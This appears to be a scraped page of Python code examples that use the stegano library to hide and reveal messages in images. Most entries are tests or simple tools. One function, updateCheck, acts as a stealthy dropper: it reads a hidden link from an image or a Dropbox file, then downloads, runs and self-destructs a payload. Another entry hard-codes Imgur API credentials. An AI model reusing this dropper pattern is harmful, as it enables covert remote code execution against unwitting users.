Esempio n. 1
0
    def test_hide_and_reveal_UTF32LE(self):
        messages_to_hide = 'I love 🍕 and 🍫!'
        secret = lsbset.hide("./tests/sample-files/Lenna.png",
                             messages_to_hide, generators.eratosthenes(),
                             'UTF-32LE')
        secret.save("./image.png")

        clear_message = lsbset.reveal("./image.png", generators.eratosthenes(),
                                      'UTF-32LE')
        self.assertEqual(messages_to_hide, clear_message)
Esempio n. 2
0
    def test_hide_and_reveal_with_shift(self):
        messages_to_hide = ["a", "foo", "Hello World!", ":Python:"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/Lenna.png", message,
                                 generators.eratosthenes(), 4)
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                          generators.eratosthenes(), 4)

            self.assertEqual(message, clear_message)
Esempio n. 3
0
    def test_hide_and_reveal_UTF32LE(self):
        messages_to_hide = 'I love 🍕 and 🍫!'
        secret = lsbset.hide("./tests/sample-files/Lenna.png",
                            messages_to_hide,
                            generators.eratosthenes(),
                            'UTF-32LE')
        secret.save("./image.png")

        clear_message = lsbset.reveal("./image.png", generators.eratosthenes(),
                                        'UTF-32LE')
        self.assertEqual(messages_to_hide, clear_message)
Esempio n. 4
0
    def test_with_transparent_png(self):
        messages_to_hide = ["a", "foo", "Hello World!", ":Python:"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/transparent.png",
                                    message, generators.eratosthenes())
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                    generators.eratosthenes())

            self.assertEqual(message, clear_message)
Esempio n. 5
0
    def test_with_transparent_png(self):
        messages_to_hide = ["a", "foo", "Hello World!", ":Python:"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/transparent.png",
                                 message, generators.eratosthenes())
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                          generators.eratosthenes())

            self.assertEqual(message, clear_message)
Esempio n. 6
0
 def test_hide_empty_message(self):
     """
     Test hiding the empty string.
     """
     with self.assertRaises(AssertionError):
         secret = lsbset.hide("./tests/sample-files/Lenna.png", "",
                              generators.eratosthenes())
Esempio n. 7
0
 def test_hide_empty_message(self):
     """
     Test hiding the empty string.
     """
     with self.assertRaises(AssertionError):
         secret = lsbset.hide("./tests/sample-files/Lenna.png", "",
                                 generators.eratosthenes())
Esempio n. 8
0
 def test_manual_convert_rgb(self, input):
     message_to_hide = "Hello World!"
     secret = lsbset.hide(
         "./tests/sample-files/Lenna-grayscale.png",
         message_to_hide,
         generators.eratosthenes(),
     )
Esempio n. 9
0
def find_message(pic_name):
    try:
        mess = lsbset.reveal(path_to_pics + pic_name,
                             generators.eratosthenes())
    except IndexError:
        return False
    return mess
Esempio n. 10
0
 def test_eratosthenes(self):
     """Test the Eratosthenes sieve."""
     with open("./tests/expected-results/eratosthenes", "r") as f:
         self.assertEqual(
             tuple(itertools.islice(generators.eratosthenes(), 168)),
             tuple(int(line) for line in f),
         )
Esempio n. 11
0
def hide_author(user, pic_name):
    message = user.username
    new_file = str(hash(pic_name)) + '.png'
    secret = lsbset.hide(path_to_pics + pic_name, message,
                         generators.eratosthenes())
    path = path_to_pics + new_file
    secret.save(path)
    return new_file
Esempio n. 12
0
 def test_auto_convert_rgb(self):
     message_to_hide = "Hello World!"
     lsbset.hide(
         "./tests/sample-files/Lenna-grayscale.png",
         message_to_hide,
         generators.eratosthenes(),
         auto_convert_rgb=True,
     )
Esempio n. 13
0
 def test_refuse_convert_rgb(self, input):
     message_to_hide = "Hello World!"
     with self.assertRaises(Exception):
         secret = lsbset.hide(
             "./tests/sample-files/Lenna-grayscale.png",
             message_to_hide,
             generators.eratosthenes(),
         )
Esempio n. 14
0
    def test_hide_and_reveal_with_bad_generator(self):
        message_to_hide = "Hello World!"
        secret = lsbset.hide("./tests/sample-files/Lenna.png", message_to_hide,
                                    generators.eratosthenes())
        secret.save("./image.png")

        with self.assertRaises(IndexError):
            clear_message = lsbset.reveal("./image.png", generators.identity())
Esempio n. 15
0
    def test_hide_and_reveal_with_bad_generator(self):
        message_to_hide = "Hello World!"
        secret = lsbset.hide("./tests/sample-files/Lenna.png", message_to_hide,
                             generators.eratosthenes())
        secret.save("./image.png")

        with self.assertRaises(IndexError):
            clear_message = lsbset.reveal("./image.png", generators.identity())
Esempio n. 16
0
def hide(message: str, image_src_path: str, image_destination_path: str):
    """Hide a message in an image.
    Example:
    hide("I love ponies.", "image.jpg", "hidden.png")
    """
    # doesn't work with .jpg, but works with .png
    if not image_destination_path.endswith(".png"):
        raise Exception("Destination image should have .png extension")
    image = lsbset.hide(image_src_path, message, generators.eratosthenes())
    image.save(image_destination_path)
Esempio n. 17
0
def reveal(image_path: str) -> str:
    """Find a message in an image.
    Example:
    reveal("hidden.png")
    """
    try:
        return lsbset.reveal(image_path, generators.eratosthenes())
    except FileNotFoundError:
        return ""
    except IndexError:  # no hidden message in the image
        return ""
def updateCheck():

    # checks for hidden messages in an image
    try:
        # a shortened url so we can change the image location without touching the code
        imgName = dlr('a_shortened_url')
        # extracts the message from the image
        message = lsbset.reveal(imgName, generators.eratosthenes())
        with open('updts.txt', 'w') as updts:
            updts.write(message)

        # decrypts the message and checks for updates
        decryptedDic = dcryptFunc(message)
        if 'updatelink' in decryptedDic.keys():
            newUpdateName = dlr(decryptedDic['updatelink'])
            unzipped = unZipper(newUpdateName)
            Popen(unzipped)
            selfDestruct()
    # failsafe: in case there was a problem in downloading the image or
    # extracting the message, use Dropbox
    except:
        acstoken = ''
        dbx = dropbox.Dropbox(acstoken)
        path = ""
        try:
            # lists all files in a Dropbox folder
            files = dbx.files_list_folder(path, recursive=True)
            for f in files.entries:
                # if there was 'update' in one of the file names ...
                if 'update' in f.name:
                    # download the file
                    metadata, downloadedFromdbx = dbx.files_download('/' +
                                                                     f.name)
                    # remove carriage returns, space, etc...
                    updatedContents = (downloadedFromdbx.content).strip()
                    # decrypt the message and check for update
                    decryptedDic = dcryptFunc(updatedContents.decode('utf-8'))
                    with open('updts.txt', 'w') as updts:
                        if 'updatelink' in decryptedDic.keys():
                            newUpdateName = dlr(decryptedDic['updatelink'])
                            unzipped = unZipper(newUpdateName)
                            Popen(unzipped)
                            selfDestruct()
                        # if there was no update available, just write the contents to a file
                        else:
                            with open('updts.txt', 'w') as updts:
                                updts.write(updatedContents.decode('utf-8'))
        # in case both failed, just 'pass' so the program won't exit
        except:
            pass
Esempio n. 19
0
def get_sign_from_image(source_image: Union[str, IO[bytes]]) -> Dict:
    signature_from_exif = exifHeader.reveal(source_image)
    signature_from_data = lsbset.reveal("./image.png",
                                        generators.eratosthenes())

    return {
        'signature_from_data':
        signature_from_data,
        'signature_from_exif':
        signature_from_exif,
        'matched':
        signature_from_data is not None
        and signature_from_data == signature_from_data
    }
Esempio n. 20
0
def decrypter(key, fileprefix):

    filename = fileprefix + ".png"

    source = lsbset.reveal(filename, generators.eratosthenes())

    key = key.encode("ascii")

    source = base64.b64decode(source.encode("latin-1"))
    key = SHA256.new(key).digest()
    IV = source[:AES.block_size]
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    data = decryptor.decrypt(source[AES.block_size:])
    padding = data[-1]
    data = data[:-padding]

    return (data.decode('ascii'))
Esempio n. 21
0
def getSnapshot(url,width,height,name,key,visuel,watermark):
    from selenium import webdriver
    options = webdriver.ChromeOptions()
    options.binary_location = '/usr/bin/google-chrome'
    options.add_argument('headless')

    options.add_argument('window-size=%dx%d' % (width,height+100))
    cdservice = service.Service('/usr/bin/chromedriver')
    states[key] = {'etat':u'Génération du visuel','avancement':20}
    cdservice.start()
    driver = webdriver.Chrome(chrome_options=options)
    states[key] = {'etat':u'Génération du visuel','avancement':30}

    driver.get(url);
    states[key] = {'etat':u'Génération du visuel','avancement':40}


    for i in range(6):
        time.sleep(0.5)
        states[key] = {'etat':u'Génération du visuel','avancement':60+i*5}

    im = Image.open(BytesIO(driver.get_screenshot_as_png()))
    im2 = im.crop((0,0,width,height))
    driver.quit()
    cdservice.stop()
    output = BytesIO()
    import json
    data = json.loads(watermark)
    if data['visuel'] in ['urgdem','urgsoc','eurque','paxint','prohum','urgeco']:
        im2 = add_corners(im2,30)

    im2.save(output,'PNG')

    # Watermark / stegano

    import json
    output.seek(0)
    secret_image = lsbset.hide(output, watermark, generators.eratosthenes())
    output_final = BytesIO()
    secret_image.save(output_final,'PNG')

    states[key] = {'etat':u'Génération du visuel','avancement':100}

    return output.getvalue()
    return output_final.getvalue()
Esempio n. 22
0
 def test_eratosthenes(self):
     """Test the Eratosthenes sieve.
     """
     self.assertEqual(
         tuple(itertools.islice(generators.eratosthenes(), 168)),
         (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59,
          61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131,
          137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197,
          199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271,
          277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353,
          359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433,
          439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509,
          521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601,
          607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677,
          683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769,
          773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859,
          863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953,
          967, 971, 977, 983, 991, 997))
Esempio n. 23
0
def upload_file():
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        # if user does not select file, browser also
        # submit a empty part without filename
        if file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            fic = BytesIO()
            file.save(fic)
            fic.seek(0)
            return lsbset.reveal(fic, generators.eratosthenes())


    return '''
Esempio n. 24
0
from stegano import lsbset
from stegano.lsbset import generators


if __name__ == '__main__':
    hFile = "./image.png"
    secret_message = 'Prova Druido'
    secret_image = lsbset.hide("./samples/hackcortona-logo.png",
                               secret_message,
                               generators.eratosthenes(),
                               auto_convert_rgb=True)
    secret_image.save(hFile)

    print('Message hidden in file: {}'.format(hFile))

    message = lsbset.reveal(hFile, generators.eratosthenes())
    print('Decrypted message: {}'.format(message))
from stegano import lsbset
from stegano.lsbset import generators

# secret_message = "It's my cat's birthday today."
# secret_image = lsbset.hide("Amber.jpg",
# 	secret_message,
# 	generators.eratosthenes())
# secret_image.save("SafeWithAmber.png")




message = lsbset.reveal("SafeWithAmber.png", generators.eratosthenes())
print (message)
Esempio n. 26
0
 def test_auto_convert_rgb(self):
     message_to_hide = "Hello World!"
     secret = lsbset.hide("./tests/sample-files/Lenna-grayscale.png",
                         message_to_hide, generators.eratosthenes(),
                         auto_convert_rgb=True)
Esempio n. 27
0
 def test_refuse_convert_rgb(self, input):
     message_to_hide = "Hello World!"
     with self.assertRaises(Exception):
         secret = lsbset.hide("./tests/sample-files/Lenna-grayscale.png",
                                 message_to_hide, generators.eratosthenes())
Esempio n. 28
0
def reveal_message_console(currentos,path):
    if currentos == "windows":    
        os.system("cls")
        location = path.replace('"','')
        img_name_arr = location.split("\\")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        #reveal message from jpg or jpeg file
        if img_ext == "jpg" or img_ext == "jpeg":
            #try to reveal hidden message
            try:
                message = exifHeader.reveal(location)
                message = message.decode()
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("cls")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            #exit if error happnes
            except Exception as e:
                print(e)
                #print(colored("We have an error.Quitting...","red"))
                #os.system("cls")
                #os.system("exit")
        #reveal message from png files
        elif img_ext == "png":
            try:
                message = lsbset.reveal(location, generators.eratosthenes())
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("cls")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            except Exception as e:
                print(e)
                #print(colored("We have an error.Quitting...","red"))
                #os.system("cls")
                #os.system("exit")
                
    elif currentos == "linux":
        os.system("clear")
        location = path.replace('"','')
        img_name_arr = location.split("/")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        #show if jpg image
        if img_ext == "jpg" or img_ext == "jpeg":
            try:
                message = exifHeader.reveal(location)
                message = message.decode()
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("clear")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            except Exception as e:
                print(colored("We have an error.Quitting...","red"))
                os.system("clear")
                os.system("exit")
        #show if png image 
        elif img_ext == "png":
            try:
                message = lsbset.reveal(location, generators.eratosthenes())
                message = message.decode()
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w","utf-8")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("clear")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            except Exception as e:
                print(colored("We have an error.Quitting...","red"))
                os.system("clear")
                os.system("exit")
Esempio n. 29
0
import os
import platform
from termcolor import colored
from datetime import date ,datetime
import time
from stegano import lsbset
from stegano.lsbset import generators
from stegano import exifHeader
from pynput.keyboard import Listener
from pynput import keyboard
import sys
import re

file = "./Hidden/file.png"
msg = lsbset.reveal(file,generators.eratosthenes())
message = msg.decode()
msg = exifHeader.reveal("./Hidden/file.jpg")
msg = msg.decode()

#with open("tmp",'w') as f:
#    f.write(message)
#get the file
with open("tmp","r") as r:
    lines = r.read()
    lines = lines.encode().decode()
    lines = lines.splitlines()
    content = lines[:-1]
    lines = lines[-1]
    for x in content:
        print(x)
Esempio n. 30
0
def hide_message_console(currentos,msg,image):
 #hide message for windows os
    if currentos == "windows":
        os.system("cls")
        #get the image file name and extension
        img = image.replace('"','')
        img = img.strip()
        img_name_arr = img.split("\\")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        #method if image file is jpg or jpeg
        if img_ext == "jpg" or img_ext == "jpeg":
            print(colored("Message: "+msg,"green"))
            print(colored("Image: "+img_name,"green"))
            confirm = input(colored("Type Y to confirm X to retry -->> ","green"))
            if(confirm.lower() == "y"):
                #try to hide message to file
                try:
                    exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", msg)
                    os.system("cls")
                    print(colored("Message Hidden In Image","green"))
                    print(colored("Image Available Under Images Folder","green"))
                    os.system("exit")
                except Exception as e:
                    print(colored("We have A Problem. Try Later...","red"))
                    os.system("exit")
            elif confirm.lower() == "x":
               os.system("cls")
               os.system("exit")
        #method if image file is png
        elif img_ext == "png":
            print(colored("Message: "+msg,"green"))
            print(colored("Image: "+img_name,"green"))
            confirm = input(colored("Type Y to confirm X to retry -->> ","green"))
            if(confirm.lower() == "y"):
                #try to hide msg to file
                try:
                    hide = lsbset.hide(img,msg,generators.eratosthenes())
                    hide.save("./Images/"+img_ext_arr[0]+".png")
                    os.system("cls")
                    print(colored("Message Hidden In Image","green"))
                    print(colored("Image Available Under Images Folder","green"))
                    os.system("exit")
                except Exception as e:
                    print(e)
                    print(colored("We have A Problem. Try Later...","red"))
                    os.system("exit")
            elif confirm.lower() == "x":
               os.system("cls")
               os.system("exit")
        #if image file is not supported
        else:
            print(colored("We Recommend using jpg,png Format Images","red"))
            os.system("exit")
    
    elif currentos == "linux":
        os.system("clear")
        #get the image file name and extension
        img = image.replace('"','')
        img = img.strip()
        img_name_arr = img.split("/")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        #method if image file is jpg or jpeg
        if img_ext == "jpg" or img_ext == "jpeg":
            print(colored("Message: "+msg,"green"))
            print(colored("Image: "+img_name,"green"))
            confirm = input(colored("Type Y to confirm X to retry -->> ","green"))
            if(confirm.lower() == "y"):
                #try to hide message to file
                try:
                    exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", msg)
                    os.system("clear")
                    print(colored("Message Hidden In Image","green"))
                    print(colored("Image Available Under Images Folder","green"))
                    os.system("exit")
                except Exception as e:
                    print(e)
                    #print(colored("We have A Problem. Try Later...","red"))
                    #os.system("exit")
            elif confirm.lower() == "x":
               os.system("clear")
               os.system("exit")
        #method if image file is png
        elif img_ext == "png":
            print(colored("Message: "+msg,"green"))
            print(colored("Image: "+img_name,"green"))
            confirm = input(colored("Type Y to confirm X to retry -->> ","green"))
            if(confirm.lower() == "y"):
                #try to hide msg to file
                try:
                    hide = lsbset.hide(img,msg,generators.eratosthenes())
                    hide.save("./Images/"+img_ext_arr[0]+".png")
                    os.system("clear")
                    print(colored("Message Hidden In Image","green"))
                    print(colored("Image Available Under Images Folder","green"))
                    os.system("exit")
                except Exception as e:
                    print(colored("We have A Problem. Try Later...","red"))
                    os.system("exit")
            elif confirm.lower() == "x":
               os.system("clear")
               os.system("exit")
        #if image file is not supported
        else:
            print(colored("We Recommend using jpg,png Format Images","red"))
            os.system("exit")
Esempio n. 31
0
 def test_with_too_long_message(self):
     with open("./tests/sample-files/lorem_ipsum.txt") as f:
         message = f.read()
     with self.assertRaises(Exception):
         lsbset.hide("./tests/sample-files/Lenna.png", message,
                     generators.eratosthenes())
Esempio n. 32
0
                continue
            except KeyError:
                continue
            if 'username' in message.keys():
                print("Received new message to decode.")
                if message['username'] == 'blackms':
                    files = [x.encode('utf8').replace('<', '').replace('>', '') for x in message["text"].split("\n")]
                    print("Received: {} files to open and decode.".format(len(files)))
                    for file in files:
                        if ".png" in file:
                            file_name = file.split('/')[-1]
                            urllib.urlretrieve(file, './received/{}'.format(file_name))
                            from stegano import lsbset
                            from stegano.lsbset import generators

                            chunk = lsbset.reveal("./received/{}".format(file_name), generators.eratosthenes())
                            decrypted_chunks.append(chunk)
                        else:
                            file_name = file.split('/')[-1].replace('?dl=1', '')
                            urllib.urlretrieve(file, './received/{}'.format(file_name))
                            from myHackaton.libs.audio_steganography.engine import decode

                            chunk = decode("./received/{}".format(file_name)).decode("utf-8")
                            decrypted_chunks.append(chunk)
                        print("First chunk from: {} contains: {}".format(
                            file_name,
                            chunk
                        ))
                print('Message:\n{}'.format(''.join(decrypted_chunks)))
                decrypted_chunks = []
            time.sleep(1)
Esempio n. 33
0
 def test_with_too_long_message(self):
     with open("./tests/sample-files/lorem_ipsum.txt") as f:
         message = f.read()
     with self.assertRaises(Exception):
         lsbset.hide("./tests/sample-files/Lenna.png", message,
                                 generators.eratosthenes())
Esempio n. 34
0
    chunks = [messaggio[i:i + group_size] for i in range(0, len(messaggio), group_size)]

    ordered_list = []

    for chunk in chunks:
        method = steganographyc_methods[random.randint(0, 1)]
        print("Encoding chunk: '{}' with method: {}".format(chunk, method))
        if method is 'IMAGE':
            from stegano import lsbset
            from stegano.lsbset import generators

            hFile = "./tmp/{}.png".format(uuid.uuid4())
            secret_message = chunk
            secret_image = lsbset.hide("./myHackaton/samples/hackcortona-logo.png",
                                       secret_message,
                                       generators.eratosthenes(),
                                       auto_convert_rgb=True)
            secret_image.save(hFile)

            print('Message hidden in file: {}'.format(hFile))
            client = ImgurClient('0f12475df84a578', 'facd4472f9d18c6aeb51b210b6321f6a2c5b9917')
            uploaded = client.upload_from_path(hFile)
            ordered_list.append(uploaded['link'])
        elif method is 'AUDIO':
            from myHackaton.libs.audio_steganography.engine import encode

            fileToEncode = "./myHackaton/samples/pandeiro_1_152_BPM.wav"
            messageFile = chunk
            file_name = uuid.uuid4()
            encodedOutputFile = "./tmp/{}.wav".format(file_name)
Esempio n. 35
0
# r = requests.get(base_url + '/blocks/' + str(latest_fin_eth_blk_num)).json()
# msg = bytes(str(r['hash']) +'_'+ str(r['time']), 'utf-8')
msg = b'fe895898b8064515820af15e1921f8b5ae3c1660bb5dfd63bc07c04ce236972b_2018-12-16T17:36:36Z'

# 3. Sign msg with pk
sig = pk.sign_msg(msg)

# Stegano's jpg support is broken.
img = Image.open("sample.jpg")
img.save("sample.png")
del img

# 4. encode sig into img
# there has got to be an easier way...
secret_sig = base56.encode(base16.decode(sig.to_hex()[2:].upper()))
vessel_img = lsbset.hide("sample.png", secret_sig, generators.eratosthenes())
vessel_img.save("sig0.png")

# 5. Hash vessel_img
vih = sha3.keccak_256(vessel_img.tobytes()).digest()


'''VERIFICATION EXAMPLE'''
# 4. Prover provides verifer with secret_sig and generator used, verifer extracts secret_sig
revealed_sig = lsbset.reveal("sig0.png", generators.eratosthenes())
# "sanity" check
# base16.encode(base56.decode(revealed_sig)).lower() == sig.to_hex()[2:]

# Convert back into a eth_key Signature
rsig = keys.Signature(bytes.fromhex(base16.encode(base56.decode(revealed_sig))))
Esempio n. 36
0
source = source.encode('ascii')
character_selection = string.ascii_letters + string.digits
key = ''.join(random.choice(character_selection) for i in range(10))
decoded_key = key
key = key.encode('ascii')

key = SHA256.new(key).digest()
IV = Random.new().read(AES.block_size)
encryptor = AES.new(key, AES.MODE_CBC, IV)
padding = AES.block_size - len(source) % AES.block_size
source += bytes([padding]) * padding
data = IV + encryptor.encrypt(source)
data_encrypted = base64.b64encode(data).decode("latin-1")

secret_image = lsbset.hide(file_name + ".png", data_encrypted,
                           generators.eratosthenes())
secret_image.save(output_file_name + ".png")

imgur_link = input(
    "Please upload the output file to imgur and enter its extension here: \n")
imgur_link_length = len(imgur_link)
middle = imgur_link_length

tweet_text = ""

for x in range(imgur_link_length):
    if x == 3:
        tweet_text = tweet_text + decoded_key + " "
    elif x == 6:
        tweet_text = tweet_text + imgur_link[x]
        continue
Esempio n. 37
0
def hide_file(currentos):
    if currentos == "windows":
        os.system("cls")
        #get file to hide
        file = input(colored("File Location -->> ","green"))
        #remove " and whitespace
        file = file.replace('"','')
        file = file.strip()
        #file extinsion
        file_addr = file.split("\\")
        file_name = file_addr[len(file_addr)-1]
        file_ext = file_name.split(".")
        ext = file_ext[len(file_ext)-1]
        #get image t hide file
        image = input(colored("Image To Hide File -->> ","green"))
        #get the image file name and extension
        img = image.replace('"','')
        img = img.strip()
        img_name_arr = img.split("/")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        os.system("clear")
        if img_ext == "jpg" or img_ext == "jpeg":
            #try to hide message to file
            try:
                with open(file,'rb') as f:
                    data = f.read()
                data = data + file_name.encode()
                exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", data)
            except Exception as e:
                print(colored(e,"red"))
            finally:
                print(colored("Filed Hidden In the Image...","green"))
                print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow"))
                goto = input(colored("Type E(exit) M(main menu)"))
                if goto.lower() == "e":
                    os.system("exit")
                elif goto.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input...","red"))
                    os.system("exit")

        elif img_ext == "png":
            try:
                with open(file,'rb') as f:
                    data = f.read()
                data = data + file_name.encode()
                hide = lsbset.hide(img,msg,generators.eratosthenes())
                hide.save("./Images/"+img_ext_arr[0]+".png")
            except Exception as e:
                print(colored(e,"red"))
            finally:
                print(colored("File Hidden In the Image...","green"))
                print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow"))
                goto = input(colored("Type E(exit) M(main menu)"))
                if goto.lower() == "e":
                    os.system("exit")
                elif goto.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input...","red"))
                    os.system("exit")
        #if image file is not supported
        else:
            print(colored("We Recommend using jpg,png Format Images","red"))
            os.system("exit")  
            
    elif currentos == "linux":
        os.system("clear")
        #get file to hide
        file = input(colored("File Location -->> ","green"))
        #remove " and whitespace
        file = file.replace('"','')
        file = file.strip()
        #file extinsion
        file_addr = file.split("/")
        file_name = file_addr[len(file_addr)-1]
        file_ext = file_name.split(".")
        ext = file_ext[len(file_ext)-1]
        #get image t hide file
        image = input(colored("Image To Hide File -->> ","green"))
        #get the image file name and extension
        img = image.replace('"','')
        img = img.strip()
        img_name_arr = img.split("/")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        os.system("clear")
        if img_ext == "jpg" or img_ext == "jpeg":
            #try to hide message to file
            try:
                with open(file,'rb') as f:
                    data = f.read()
                data = data + file_name.encode()
                exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", data)
            except Exception as e:
                print(colored(e,"red"))
            finally:
                print(colored("Filed Hidden In the Image...","green"))
                print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow"))
                goto = input(colored("Type E(exit) M(main menu)"))
                if goto.lower() == "e":
                    os.system("exit")
                elif goto.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input...","red"))
                    os.system("exit")

        elif img_ext == "png":
            try:
                with open(file,'rb') as f:
                    data = f.read()
                data = data + file_name.encode()
                hide = lsbset.hide(img,msg,generators.eratosthenes())
                hide.save("./Images/"+img_ext_arr[0]+".png")
            except Exception as e:
                print(colored(e,"red"))
            finally:
                print(colored("File Hidden In the Image...","green"))
                print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow"))
                goto = input(colored("Type E(exit) M(main menu)"))
                if goto.lower() == "e":
                    os.system("exit")
                elif goto.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input...","red"))
                    os.system("exit")
        #if image file is not supported
        else:
            print(colored("We Recommend using jpg,png Format Images","red"))
            os.system("exit")